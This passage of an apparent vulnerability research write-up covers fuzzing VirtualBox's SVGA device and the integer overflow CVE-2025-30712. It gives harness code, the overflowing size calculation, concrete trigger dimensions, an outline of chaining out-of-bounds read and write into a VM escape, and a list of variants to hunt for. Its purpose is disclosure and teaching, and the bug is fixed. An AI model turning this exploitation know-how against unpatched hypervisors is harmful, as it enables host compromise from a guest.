The team had mixed feelings. The bug allows a linear out-of-bounds write of an almost arbitrary amount of attacker-controlled data. "Linear" means the write goes forward in memory in a straight line, one byte after another, rather than jumping around. "Out-of-bounds" means it writes outside the area it was supposed to. "Attacker-controlled" means the attacker chooses what gets written. They reasoned that a VM escape should be possible from this bug. But because the device is only used in development, they were not motivated enough to finish writing a PoC. A PoC, or proof of concept, is a small demonstration that shows a bug can really be exploited.

Undeterred, they continued, applying what they had learned to another question: could the same ideas work on other hypervisors, such as VirtualBox?

Pivoting to fuzzing

The QEMU work produced a useful set of CodeQL queries, and the team adapted them for other codebases. Following the VirtualBox build instructions, they applied the queries to the VirtualBox codebase. After several days of testing and many almost-bugs, they realised they needed a different approach. Static analysis is valuable, but it still demands a lot of time interacting with the code, and some behaviour can only be understood by running the code and attaching a debugger. A debugger is a tool that lets you pause a running program, inspect its memory, and step through it one instruction at a time.

So they switched to fuzzing, the next most common method for finding bugs. Fuzzing means feeding a program large amounts of semi-random input and watching for crashes or misbehaviour. It is like shaking a machine in every possible way to see which part falls off. Their research into VirtualBox fuzzing showed that most public studies examine the hypervisor as a complete system rather than breaking it into smaller components. The team preferred the opposite: creating individual harnesses for each device, so they could concentrate on a specific section of the codebase. A harness is a small piece of code that wraps around the part you want to test and feeds it input, like a test rig that holds a component in place while you stress it.

Fuzzing is fundamentally a search problem: you are searching a huge space of possible inputs for one that causes a crash. That led to a question: what if you narrowed the search space? Fuzzing the whole hypervisor has benefits, such as a higher chance of finding complex interactions between components, but the team's earlier success with a simplified CodeQL query made them wonder whether a simple fuzzing approach would work just as well.

Fuzzing VirtualBox in a nutshell

When choosing a device to fuzz, the team decided, unlike in the QEMU research, to focus on devices available in a default VirtualBox installation. A default installation is what an ordinary user gets when they install the software without changing anything, so a bug there affects real users.

Their attention was drawn to the SVGA device, specifically a function that appeared to process commands from the guest OS. SVGA stands for Super Video Graphics Array, and in VirtualBox it is the virtual graphics card that handles 3D graphics for the guest. They also found a comprehensive list of operations the SVGA device could execute. That complexity made it an ideal target, because intricate systems often contain more vulnerabilities: more code means more places for mistakes.

Understanding the build system

To implement a fuzzer for VirtualBox, two modifications were necessary:

  1. Toolchain modification: the existing build tooling had to be adapted so that the compiled program would be instrumented with the appropriate sanitizers and options. A toolchain is the set of programs that turn source code into a runnable program. A sanitizer is a checker added during compilation that watches for memory errors at runtime, like ASan above.
  2. Fuzzing harness development: a dedicated harness for the SVGA device had to be written and compiled.

The first step was understanding how VirtualBox is compiled. The hypervisor uses kBuild (distinct from the Linux kernel's kBuild), which works similarly to Make in defining targets. Make is a classic build tool that reads a file describing how to build a program and runs the necessary commands. An example is the Makefile.kmk used for building VirtualBox's Devices code.

All build tooling configurations for VirtualBox live in the kBuild/tools directory. That directory is not accessible online through a source code browser; it requires a direct download from the VirtualBox downloads page. There, the team duplicated the GCC configuration (GCC.kmk) into a new file named CLANG.kmk. GCC and Clang are two popular C/C++ compilers, programs that translate source code into machine code. In CLANG.kmk, they replaced every instance of gcc and g++ with clang and clang++, and added the flags needed for fuzzing instrumentation:

TOOL_CLANG_CFLAGS           ?= -DMOONSHINE_FUZZING
-fsanitize=address,undefined,fuzzer
-fprofile-instr-generate -fcoverage-mapping

TOOL_CLANG_CXXFLAGS           ?= -DMOONSHINE_FUZZING
-fsanitize=address,undefined,fuzzer

Line by line:

  • TOOL_CLANG_CFLAGS ?= ... sets the flags used when compiling C code with Clang. The ?= means "set this only if it is not already set".
  • -DMOONSHINE_FUZZING defines a name that the source code can check for, so that fuzzing-specific code is included only in fuzzing builds.
  • -fsanitize=address,undefined,fuzzer turns on three sanitizers: AddressSanitizer (memory errors), UndefinedBehaviorSanitizer (undefined behaviour such as integer overflow), and the fuzzer instrumentation that lets LibFuzzer drive the program. LibFuzzer is a fuzzing engine that repeatedly calls a function with generated inputs.
  • -fprofile-instr-generate -fcoverage-mapping record which parts of the code were executed, so the team can see how much of the code the fuzzer reached.
  • TOOL_CLANG_CXXFLAGS ?= ... does the same for C++ code, with the same sanitizer flags.

Then, at the root level Config.kmk, they forced kBuild to use the new Clang configuration to build all C and C++ sources. This is the switch that makes the whole project compile with the fuzzing instrumentation instead of the normal compiler settings.

Next, they defined a new Makefile with the harness source code:

SUB_DEPTH = ../..

include $(KBUILD_PATH)/subheader.kmk

PROGRAMS = DevVGAFuzzer
DevVGAFuzzer_Name = dev_vga_fuzzer
DevVGAFuzzer_SOURCES = main.cpp command_generator.h mock_driver.h dev_vga_fuzzer.h mock_helper.h

DevVGAFuzzer_TOOL = CLANG
DevVGAFuzzer_INCS = $(PATH_ROOT)/include
DevVGAFuzzer_INCS += $(PATH_ROOT)/include/VBox/Graphics
DevVGAFuzzer_INCS += $(PATH_ROOT)/src/VBox/Devices/Graphics
DevVGAFuzzer_INCS += $(PATH_ROOT)/src/VBox/VMM/include
DevVGAFuzzer_INCS += $(PATH_ROOT)/src/VBox/Devices/Graphics/vmsvga_include

DevVGAFuzzer_CXXFLAGS = -Wno-everything

Line by line:

  • SUB_DEPTH = ../.. tells kBuild how deep in the directory tree this Makefile sits, so it can find the project root.
  • include $(KBUILD_PATH)/subheader.kmk pulls in kBuild's standard setup for a subdirectory.
  • PROGRAMS = DevVGAFuzzer declares a program to build, named DevVGAFuzzer inside the build system.
  • DevVGAFuzzer_Name = dev_vga_fuzzer sets the name of the resulting executable file.
  • DevVGAFuzzer_SOURCES = ... lists the source files that make up the program: main.cpp, command_generator.h, mock_driver.h, dev_vga_fuzzer.h, and mock_helper.h. The .cpp file contains code; the .h files are headers, which declare things that other files can use.
  • DevVGAFuzzer_TOOL = CLANG says to compile this program with the Clang configuration created earlier.
  • The DevVGAFuzzer_INCS lines add directories where the compiler should look for header files: the project's include directory, the graphics headers, the Devices graphics source directory, the VMM (virtual machine monitor) headers, and the SVGA-specific headers.
  • DevVGAFuzzer_CXXFLAGS = -Wno-everything turns off all compiler warnings for this program. Warnings are messages about suspicious code; turning them off keeps the build output clean while prototyping.

The Makefile also listed dependencies on other VirtualBox libraries:

DevVGAFuzzer_LIBS = $(VBoxDD_1_TARGET)
DevVGAFuzzer_LIBS += $(VBoxVMM_1_TARGET)
DevVGAFuzzer_LIBS += $(VBoxRT_1_TARGET)
DevVGAFuzzer_LIBS += $(VBoxDDU_1_TARGET)

Line by line:

  • DevVGAFuzzer_LIBS = $(VBoxDD_1_TARGET) says the program needs the VirtualBox device library. A library is a collection of pre-built code that a program can reuse.
  • += $(VBoxVMM_1_TARGET) adds the virtual machine monitor library, the core of the hypervisor.
  • += $(VBoxRT_1_TARGET) adds the runtime library, which provides basic utilities.
  • += $(VBoxDDU_1_TARGET) adds another VirtualBox support library.

Why list these? The harness needs to call into VirtualBox's own code, so it must be linked against the same libraries the real hypervisor uses.

Writing a harness

Writing the harness turned out to be non-trivial. As other public research describes, VirtualBox's internal components are very strongly coupled, meaning they depend on each other in tangled ways, so the team had to modify the codebase to tie everything together. They took a very iterative approach: quick prototypes of the fuzzer, fixing problems one at a time. They decided that most of the code they wanted to fuzz could be reached through the vmsvgaR3CmdBufProcessBuffers function, which processes a buffer of SVGA commands.

In the SVGA device implementation, they added this function to expose the internal VGA functionality to the fuzzer more easily:

VBOXDD_EXPORT void FuzzVGACmd(PPDMDEVINS pDevIns, PPDMTHREAD pThread) {
    PVGASTATE       pThis      = PDMDEVINS_2_DATA(pDevIns, PVGASTATE);
    PVGASTATER3     pThisCC    = PDMDEVINS_2_DATA_CC(pDevIns, PVGASTATECC);
    PVMSVGAR3STATE  pSVGAState = pThisCC->svga.pSvgaR3State;
    vmsvgaR3CmdBufProcessBuffers(pDevIns, pThis, pThisCC, pThread);
}

Line by line:

  • VBOXDD_EXPORT void FuzzVGACmd(...) declares a function named FuzzVGACmd that returns nothing (void) and is exported, meaning other code outside the library can call it. VBOXDD_EXPORT is a macro that marks it for export.
  • The parameters are pDevIns, a handle to the device instance, and pThread, a handle to the thread context.
  • PVGASTATE pThis = PDMDEVINS_2_DATA(pDevIns, PVGASTATE); converts the device instance handle into a pointer to the VGA device's state, using a macro that knows the internal layout.
  • PVGASTATER3 pThisCC = PDMDEVINS_2_DATA_CC(pDevIns, PVGASTATECC); does the same for the device's shared state.
  • PVMSVGAR3STATE pSVGAState = pThisCC->svga.pSvgaR3State; reaches into that state to get the SVGA-specific state.
  • vmsvgaR3CmdBufProcessBuffers(pDevIns, pThis, pThisCC, pThread); calls the real function that processes the command buffer.

The main benefit of writing an intermediate function like this is that it minimises the changes needed in the codebase. The PDMDEVINS_2_DATA and PDMDEVINS_2_DATA_CC macros are private to the Devices library, so it was easier to export one function that could call them than to expose the macros themselves. FuzzVGACmd acts as the fuzzer's entry point into the command processing logic of the VGA device. The harness uses it like this:

...

uint8_t *cmd_buf = AllocateRandomCommands(fdp_.get(), total_length);
if (cmd_buf == nullptr) {
     free(cmd_buf_);
     return;
}
cmd_buf_->hdr.length = total_length;
cmd_buf_->pvCommands = cmd_buf;
FuzzVGACmd(&device_state_.service_instance, &thread_);

[...]

Line by line:

  • uint8_t *cmd_buf = AllocateRandomCommands(fdp_.get(), total_length); asks a helper function to generate a buffer of random commands of length total_length. uint8_t is an unsigned 8-bit integer, the standard type for a byte. fdp_ is the fuzzer's data provider, which supplies the random bytes.
  • if (cmd_buf == nullptr) { free(cmd_buf_); return; } checks whether allocation failed. nullptr means "no valid pointer". If it failed, the code frees an older buffer and returns.
  • cmd_buf_->hdr.length = total_length; sets the length field in the command buffer's header to the total length.
  • cmd_buf_->pvCommands = cmd_buf; points the command buffer's command pointer at the generated data.
  • FuzzVGACmd(&device_state_.service_instance, &thread_); calls the exported function, passing the device instance and thread, so the device processes the random commands.

Writing the harness took several weeks of iteration. The harness code is published in the google/security-research repository under pocs/oracle/virtualbox/cve-2025-30712/fuzzer.

The second bug: SVGA integer overflow (CVE-2025-30712)

The hard work paid off. After just a few cycles of running the fuzzer and triaging crashes, they found an exploitable bug: a buffer overflow in the vmsvga3dSurfaceMipBufferSize function. Triaging means sorting through the crashes the fuzzer produces and deciding which are interesting. The technical details were released in a separate advisory. The summary is:

  1. Guest VMs can define "surfaces" in the VGA device that are backed by guest memory. A surface is a block of image data, like a texture or a render target, that the graphics device works with.
  2. There is a bug in how the size of the surface is calculated, allowing an adversary to call malloc with a size of 0. malloc is the standard C function for allocating memory; asking for 0 bytes is unusual and can lead to a region that is too small for what is later stored in it.

Before the fix, the size was calculated like this:

uint32_t const cxBlocks = (mipmapSize.width + desc->block_size.width - 1) / desc->block_size.width;
    uint32_t const cyBlocks = (mipmapSize.height + desc->block_size.height - 1) / desc->block_size.height;
    uint32_t const czBlocks = (mipmapSize.depth + desc->block_size.depth - 1) / desc->block_size.depth;

Line by line:

  • uint32_t is a 32-bit unsigned integer, a whole number from 0 to about 4.29 billion. const means the value will not change after it is set.
  • cxBlocks is the number of blocks across the width. The formula (width + block_width - 1) / block_width is a standard way to round up a division: it gives the number of blocks needed to cover the width, rounding up. For example, 5 pixels with 2-pixel blocks needs 3 blocks.
  • cyBlocks does the same for the height.
  • czBlocks does the same for the depth.

For example, if an attacker defined these dimensions:

struct {
  uint32               width;
  uint32               height;
  uint32               depth;
} SVGA3dSize size;

size.width = 0x1337;
size.height = 0xFFFFFFFF;
size.depth = 1;

Line by line:

  • struct { ... } SVGA3dSize size; defines a structure, a bundle of related values, with three fields: width, height, and depth, each a 32-bit unsigned integer. It then declares a variable size of that type.
  • size.width = 0x1337; sets the width to 0x1337, which is 4919 in decimal.
  • size.height = 0xFFFFFFFF; sets the height to the largest value a 32-bit unsigned integer can hold, about 4.29 billion.
  • size.depth = 1; sets the depth to 1.

Then, for the SVGA3D_NV12 descriptor, the value of cyBlocks would be 0:

uint32_t const cxBlocks = (0x1337 + 2 - 1) / 2;
uint32_t const cyBlocks = (0xFFFFFFFF + 2 - 1) / 2;
uint32_t const czBlocks = (0x1 + 1 - 1) / 1;

Line by line:

  • cxBlocks = (0x1337 + 2 - 1) / 2 computes (4919 + 2 - 1) / 2 = 4920 / 2 = 2460. That is fine.
  • cyBlocks = (0xFFFFFFFF + 2 - 1) / 2 is the problem: the value of cyBlocks becomes 0. The height block count becomes 0.
  • czBlocks = (0x1 + 1 - 1) / 1 computes 1 / 1 = 1. That is fine.

This is an integer overflow: a calculation produces a result too large for the number of bits available, so it wraps around, like a car odometer rolling over from 999999 to 000000.

When calculating the number of bytes needed to back this surface, the result would resolve to 0:

  uint32_t cbSurfacePlane = clamped_umul32(cxBlocks, cyBlocks);
  cbSurfacePlane = clamped_umul32(cbSurfacePlane, desc->bytes_per_block);

  uint32_t const cbSurfaceResolved = clamped_umul32(cbSurfacePlane, czBlocks);

  uint32_t const cbSurface = clamped_umul32(cbSurfaceResolved, RT_MAX(multisampleCount, 1));

  *pcBlocksX = cxBlocks;
  *pcBlocksY = cyBlocks;
  *pcbSurfacePitch = cbPitch;
  *pcbSurfacePlane = cbSurfacePlane;
  *pcbSurface = cbSurface;

Line by line:

  • clamped_umul32(a, b) multiplies two 32-bit numbers and "clamps" the result: if the true product would overflow, it returns the maximum value instead of wrapping. This is a safety measure.
  • cbSurfacePlane = clamped_umul32(cxBlocks, cyBlocks); multiplies the width block count by the height block count. Since cyBlocks is 0, the result is 0.
  • cbSurfacePlane = clamped_umul32(cbSurfacePlane, desc->bytes_per_block); multiplies by the number of bytes per block. Still 0.
  • cbSurfaceResolved = clamped_umul32(cbSurfacePlane, czBlocks); multiplies by the depth block count. Still 0.
  • cbSurface = clamped_umul32(cbSurfaceResolved, RT_MAX(multisampleCount, 1)); multiplies by the multisample count (at least 1). Still 0.
  • The lines starting with * store the computed values back into variables the caller provided: the block counts, the pitch (the number of bytes per row), the plane size, and the total surface size. The total surface size is 0.

This matters because the device allocates the memory region holding the image data using cbSurface, so an attacker can cause a memory region of size 0 to be allocated:

static int vmsvga3dSurfaceAllocMipLevels(PVMSVGA3DSURFACE pSurface)
{

    for (uint32_t i = 0; i < pSurface->cLevels * pSurface->surfaceDesc.numArrayElements; ++i)
    {
        PVMSVGA3DMIPMAPLEVEL pMipmapLevel = &pSurface->paMipmapLevels[i];
        AssertReturn(pMipmapLevel->pSurfaceData == NULL, VERR_INVALID_STATE);
        pMipmapLevel->pSurfaceData = RTMemAllocZ(pMipmapLevel->cbSurface);
        AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);
    }
    return VINF_SUCCESS;
}

Line by line:

  • static int vmsvga3dSurfaceAllocMipLevels(PVMSVGA3DSURFACE pSurface) defines a function that takes a surface and returns an integer status code. static means it is private to this file.
  • The for loop runs once for each mipmap level and array element. A mipmap is a smaller copy of an image used when it is displayed at a distance; array elements are multiple copies of a surface.
  • PVMSVGA3DMIPMAPLEVEL pMipmapLevel = &pSurface->paMipmapLevels[i]; gets a pointer to the current mipmap level.
  • AssertReturn(pMipmapLevel->pSurfaceData == NULL, VERR_INVALID_STATE); checks that the level has not already been allocated, and returns an error if it has.
  • pMipmapLevel->pSurfaceData = RTMemAllocZ(pMipmapLevel->cbSurface); allocates memory of size cbSurface and zeroes it. With cbSurface equal to 0, this asks for a zero-sized allocation.
  • AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY); checks that the allocation succeeded.
  • return VINF_SUCCESS; reports success.
  1. From there, the team found they could use the [redacted] command for a linear out-of-bounds read primitive, and the [redacted] command for a linear out-of-bounds write. In plain words: one command lets the attacker read data from beyond the tiny allocation, and another lets them write data beyond it.
  2. They combined both linear read and write primitives to create a stronger arbitrary read/write primitive. "Arbitrary" here means the attacker can choose which memory address to read or write, not just the area next to the buffer.

After achieving arbitrary read/write, it became relatively trivial to get rip control and gain arbitrary code execution. rip is the instruction pointer register on x86 processors: it holds the address of the next instruction to execute. If an attacker can write to it, they can make the program jump to code of their choosing. The result was a VM escape exploit that can be triggered in a default installation of VirtualBox:

From the original on bughunters.google.com

Fig. 1. A demonstration of a VM escape exploit that can be triggered in a default installation of VirtualBox

The image is a demonstration of the VM escape exploit.

Lessons learned and future work

Many security researchers have asked the team about their bug-finding methods and how they structure a project for hacking. This post is meant as a straightforward, informative answer.

Security research is an iterative journey that often begins with fundamental questions. Overcoming challenges and pushing boundaries are core to a researcher's work. Despite frustrations and moments of despair, persistence and innovative problem-solving ultimately yield results.

Virtualisation is a cornerstone of today's cloud technology, and it is not without flaws. Numerous bugs await discovery by those willing to dedicate time and effort to exploring hypervisor codebases. In this research, the team fuzzed a single VirtualBox device and investigated only one of the bugs their fuzzer uncovered. They believe continued fuzzer operation, or expanding the fuzzing approach to other devices, would reveal many more vulnerabilities.

For now, their research is complete: they took a deep dive into a hypervisor's codebase and successfully achieved a "fuzzy escape".

Root cause

The CanoKey bug is a missing bounds check: usb_packet_copy copies p->iov.size bytes from the guest into key->ep_out_buffer[ep_out] without validating the destination buffer's size, giving a linear out-of-bounds write of an almost arbitrary amount of attacker-controlled data.

The VirtualBox bug is an integer overflow in the surface size calculation. The block counts are computed with 32-bit arithmetic, and with a height of 0xFFFFFFFF the addition in (mipmapSize.height + desc->block_size.height - 1) wraps, so cyBlocks becomes 0. The subsequent multiplications then produce a cbSurface of 0, and the device allocates a zero-sized region for image data that later commands read from and write to as though it were full-sized.

Impact

For CanoKey, the bug allows a linear out-of-bounds write of an almost arbitrary amount of attacker-controlled data, and the team theorised that a VM escape should be possible from it. Because CanoKey is normally used only for development purposes, no CVE was assigned and they did not finish a PoC.

For VirtualBox, the chain of a zero-sized allocation, a linear OOB read via [redacted], a linear OOB write via [redacted], and the resulting arbitrary read/write led to rip control and arbitrary code execution: a VM escape that can be triggered in a default installation of VirtualBox. The bug is tracked as CVE-2025-30712.

Fix

The CanoKey bug was reported and fixed upstream in QEMU in January 2025. The VirtualBox surface size calculation was fixed in changeset 108903. The advisory for CVE-2025-30712 contains the technical details.

Variants to test

  • Other copy functions reachable from guest memory. Run the simplified CodeQL query for functions whose names contain _copy and whose call sites are under /hw/, then check whether each destination buffer's size is validated against the guest-supplied length. A positive result is a call where the length comes from guest-controlled I/O and the destination is a fixed-size buffer.
  • Other devices in a default installation. The team fuzzed a single VirtualBox device and investigated only one of the bugs their fuzzer uncovered. Running the fuzzer longer, or building harnesses for other devices, is expected to reveal more vulnerabilities. A positive result is a sanitizer crash in device command processing reachable from a guest.
  • Other size calculations with 32-bit arithmetic. Look for block-count or pitch computations of the form (size + block - 1) / block followed by multiplications, and try dimensions near 0xFFFFFFFF on each field. A positive result is a computed size of 0 (or a wrapped small value) that is then used for an allocation and later accessed at full size.
  • Other readback and update commands. Once a zero-sized or undersized surface allocation exists, check which commands read from or write to it. A positive result is a linear out-of-bounds read or write that can be combined into arbitrary read/write.

Glossary

  • Hypervisor: the program that runs virtual machines and keeps them separated from each other and from the host.
  • Virtual machine (VM): a simulated computer running inside another computer, with its own operating system.
  • Guest OS: the operating system running inside a virtual machine.
  • VM escape: an attack that breaks out of a virtual machine and reaches the hypervisor or the host.
  • Memory corruption vulnerability: a bug where a program reads or writes memory it should not, usually because of a mistake in size or lifetime handling.
  • Read/write primitive: a small, reliable capability to read or write memory the attacker should not access.
  • Virtual device: software that pretends to be hardware, such as a network or video card, so the guest can use it.
  • Memory-mapped I/O: a way for the CPU to talk to devices by reading and writing ordinary memory addresses.
  • VirtIO: a standard interface for exchanging data between a guest and a hypervisor.
  • Static code analysis: examining source code with a tool without running the program.
  • Fuzzing: feeding a program large amounts of semi-random input and watching for crashes.
  • CodeQL: a static analysis tool that indexes code into a database and lets you query it.
  • Use after free: using memory after it has been freed, when it may already belong to someone else.
  • Double-fetch: reading the same untrusted value twice, with the attacker able to change it between reads.
  • False positive: a warning that turns out to be harmless.
  • Buffer overflow: writing more data into a buffer than it can hold, spilling into neighbouring memory.
  • Stack buffer overflow: a buffer overflow where the buffer lives on the stack, the area for short-lived local data.
  • Heap: the area of memory used for data allocated on demand and living longer than a single function call.
  • ASan (AddressSanitizer): a runtime checker that reports out-of-bounds and other memory errors.
  • CVE: a public catalogue number given to a security flaw so everyone can refer to it by the same name.
  • PoC (proof of concept): a small demonstration that a bug can really be exploited.
  • Debugger: a tool that lets you pause a running program, inspect its memory, and step through it.
  • Harness: a small piece of code that wraps around the part you want to test and feeds it input.
  • Sanitizer: a checker added during compilation that watches for errors at runtime.
  • Toolchain: the set of programs that turn source code into a runnable program.
  • kBuild: the build system VirtualBox uses, similar in purpose to Make.
  • Make: a classic build tool that reads a description file and runs the commands needed to build a program.
  • Compiler: a program that translates source code into machine code.
  • GCC / Clang: two popular C and C++ compilers.
  • LibFuzzer: a fuzzing engine that repeatedly calls a function with generated inputs.
  • SVGA device: VirtualBox's virtual graphics card, which handles 3D graphics for the guest.
  • Surface: a block of image data, such as a texture or render target, used by the graphics device.
  • malloc: the standard C function for allocating memory.
  • Integer overflow: a calculation that produces a result too large for the number of bits available, so it wraps around.
  • rip: the instruction pointer register on x86 processors, holding the address of the next instruction to execute.
  • Arbitrary code execution: making a program run code of the attacker's choosing.
  • Linear out-of-bounds write: a write that goes forward in memory past the end of a buffer, byte after byte.
  • Triaging: sorting through crashes or warnings to decide which are interesting.
  • Advisory: a public document describing a vulnerability, its impact, and its fix.
  • Changeset: a numbered record of a change made to a codebase.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.